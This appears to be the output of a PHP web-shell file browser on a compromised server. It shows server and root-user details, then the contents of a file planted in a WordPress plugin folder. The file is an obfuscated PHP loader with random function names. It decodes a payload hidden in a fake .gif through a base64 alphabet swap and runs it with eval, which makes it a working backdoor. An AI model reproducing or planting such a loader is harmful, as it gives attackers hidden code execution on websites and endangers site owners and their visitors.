HEX
Server: Apache
System: Linux www 5.10.0-10-amd64 #1 SMP Debian 5.10.84-1 (2021-12-08) x86_64
User: root (0)
PHP: 8.2.1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals
Upload Files
File: /mnt/drbd/www/edenhouse/wp-content/plugins/acheweto/shuqiwi.txt
<?php

function macapy_cohurafy($esezyr_utishalah) {
    if ($esezyr_utishalah == 1)
        return otihik_cocyvyfe();
    if ($esezyr_utishalah == 2)
        return zaducu_poshokhym();
}

function duhogu_iwithabydu($esezyr_utishalah) {
    $ovimydo = macapy_cohurafy(1);
    $sikydi = macapy_cohurafy(2);
    for ($doqyguc = 0; $doqyguc < strlen($ovimydo); $doqyguc++) {
        $wuxykyk = substr($ovimydo, $doqyguc, 1);
        $otyjebi = substr($sikydi, $doqyguc, 1);
        $huhoquv[$wuxykyk] = $otyjebi;
    }

    $zhaveli = strtr($esezyr_utishalah, $huhoquv);
    $zhaveli = base64_decode($zhaveli);

    return $zhaveli;
}

function ocavyp_yzhasapewy($esezyr_utishalah) {
    $vyzoma = array();
    if (!file_exists($esezyr_utishalah))
        return false;
    $ezaloq = @file_get_contents($esezyr_utishalah);
    if (!$ezaloq)
        return false;
    $ezaloq = substr($ezaloq, 3);
    $vyzoma = duhogu_iwithabydu($ezaloq);
    return $vyzoma;
}

function otihik_cocyvyfe() {
    $ezaloq = "vuxFP=zGM7V86Xd1yENSKtpQieURqYTHJfW+BALslIj3bkr9/O2anDCg54ocZh0mw";
    return $ezaloq;
}

function zaducu_poshokhym() {
    $vyzoma = "Pnrxh7VSFdEQ3MygmLBDNoXpa=OURqT2j4ZfwsI60GAebC8+lKivHtz91/WJku5cY";
    return $vyzoma;
}

$aqyceho = ocavyp_yzhasapewy(__DIR__ . "/asset" . "s/im" . "ages/z" . "ywison" . ".gif");
if ($aqyceho) {
    @eval($aqyceho);
}